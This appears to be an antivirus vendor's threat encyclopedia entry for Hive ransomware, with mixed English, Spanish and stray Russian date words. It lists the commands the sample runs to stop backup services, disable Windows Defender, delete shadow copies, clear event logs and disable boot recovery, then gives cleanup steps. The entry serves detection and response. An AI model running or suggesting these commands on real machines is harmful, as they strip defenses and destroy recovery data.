Author: Khristian Joseph Morales   

 

Ransom:Win64/Hive.ZZ (MICROSOFT)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Ransomware

  • Destructiveness:
    No

  • Encrypted:
     

  • In the wild::
    Yes

  OVERVIEW

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 4,202,496 bytes
File type: EXE
Memory resident: No
INITIAL SAMPLES RECEIVED DATE: 28 декабря 2021

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • {Drive}\{random string}_.key.6ygpf

Agrega los procesos siguientes:

  • net.exe stop "NetMsmqActivator" /y
  • net.exe stop "SamSs" /y
  • net.exe stop "SDRSVC" /y
  • net.exe stop "SstpSvc" /y
  • net.exe stop "UI0Detect" /y
  • net.exe stop "vmvss" /y
  • net.exe stop "VMware Physical Disk Helper Service" /y
  • net.exe stop "VMwareCAFCommAmqpListener" /y
  • net.exe stop "VMwareCAFManagementAgentHost" /y
  • net.exe stop "VSS" /y
  • net.exe stop "wbengine" /y
  • net.exe stop "WebClient" /y
  • sc.exe config "NetMsmqActivator" start= disabled
  • sc.exe config "SamSs" start= disabled
  • sc.exe config "SDRSVC" start= disabled
  • sc.exe config "SstpSvc" start= disabled
  • sc.exe config "UI0Detect" start= disabled
  • sc.exe config "vmvss" start= disabled
  • sc.exe config "VMware Physical Disk Helper Service" start= disabled
  • sc.exe config "VMwareCAFCommAmqpListener" start= disabled
  • sc.exe config "VMwareCAFManagementAgentHost" start= disabled
  • sc.exe config "VSS" start= disabled
  • sc.exe config "wbengine" start= disabled
  • sc.exe config "WebClient" start= disabled
  • reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  • schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  • reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  • reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  • reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  • reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  • reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  • reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  • vssadmin.exe delete shadows /all /quiet
  • wevtutil.exe cl system
  • wevtutil.exe cl security
  • wevtutil.exe cl application
  • wmic.exe SHADOWCOPY /nointeractive
  • wmic.exe shadowcopy delete
  • bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  • bcdedit.exe /set {default} recoveryenabled no
  • cmd.exe /c "%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  • cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  • cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  • notepad.exe {Drive}\LdBi_HOW_TO_DECRYPT.txt
  • cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "{Malware Path}\{Malware File name}"

(Nota: %Program Files% es la carpeta Archivos de programa predeterminada, que suele estar en C:\Archivos de programa).

)

Otros detalles

Hace lo siguiente:

  • It deletes shadow copies.

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 17.278.08
First VSAPI Pattern Release Date: 27 de декабря de 2021
VSAPI OPR PATTERN-VERSION: 17.279.00
VSAPI OPR PATTERN DATE: 28 de декабря de 2021

Step 2

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Buscar y eliminar este archivo

[ learnMore ]
Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
  • {Drive}\{random string}_.key.6ygpf
  • {Encrypted Directory}\LdBi_HOW_TO_DECRYPT.txt

Step 5

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Ransom.Win64.HIVE.YXBL1 En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.

Step 6

Restore encrypted files from backup.


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